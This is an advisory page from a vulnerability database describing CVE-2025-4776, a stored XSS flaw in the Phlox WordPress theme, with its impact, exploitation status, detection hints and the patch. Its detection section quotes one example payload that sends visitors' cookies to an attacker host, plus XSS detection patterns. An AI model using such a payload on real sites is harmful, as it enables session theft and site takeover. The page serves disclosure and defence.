
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-4776 is a Stored Cross-Site Scripting (XSS) vulnerability in the Phlox theme for WordPress, affecting all versions up to and including 2.17.7. The flaw arises from insufficient input sanitization and output escaping of the data-caption HTML attribute, allowing authenticated attackers with Contributor-level access or higher to inject persistent malicious scripts into pages. The vulnerability was published on January 6, 2026, and was reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, NVD).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The Phlox theme fails to properly sanitize user-supplied input in the data-caption HTML attribute before rendering it in page output, enabling script injection. An attacker with at least Contributor-level WordPress access can craft a post or page containing a malicious payload in the data-caption attribute; the script is then stored server-side and executes in the browsers of any user who visits the affected page. The attack vector is network-based, requires low privileges, and no user interaction beyond page visitation is needed for the payload to trigger (Wordfence, NVD).
Successful exploitation allows injected scripts to execute in the context of any visitor's browser on affected WordPress sites, impacting both confidentiality and integrity. Attackers can steal session cookies, capture credentials, redirect users to malicious sites, or perform actions on behalf of authenticated users including administrators. While availability is not directly impacted, a compromised administrator session could lead to full site takeover and broader lateral movement within the WordPress environment (Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-4776 as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029%, indicating a low probability of near-term exploitation. Exploitation requires at minimum a Contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat on sites with open contributor registration (Wordfence).
data-caption attribute with an injected XSS payload, e.g., data-caption="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"./wp-admin/post.php) from Contributor-level accounts containing data-caption values with script tags or encoded JavaScript.wp_posts or wp_postmeta tables containing data-caption attributes with <script>, javascript:, onerror=, or other XSS payloads in post content.The vulnerability is patched in Phlox theme version 2.17.8, which includes proper input sanitization and output escaping for the data-caption attribute (WordPress Trac). Site administrators should update the Phlox theme to version 2.17.8 or later immediately. As a temporary workaround, restrict Contributor-level user registration and review existing Contributor accounts for suspicious content. Web application firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense while patching is pending (Wordfence).
Sucuri included CVE-2025-4776 in their January 2026 vulnerability patch roundup, highlighting it as one of several WordPress theme vulnerabilities requiring prompt attention (Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."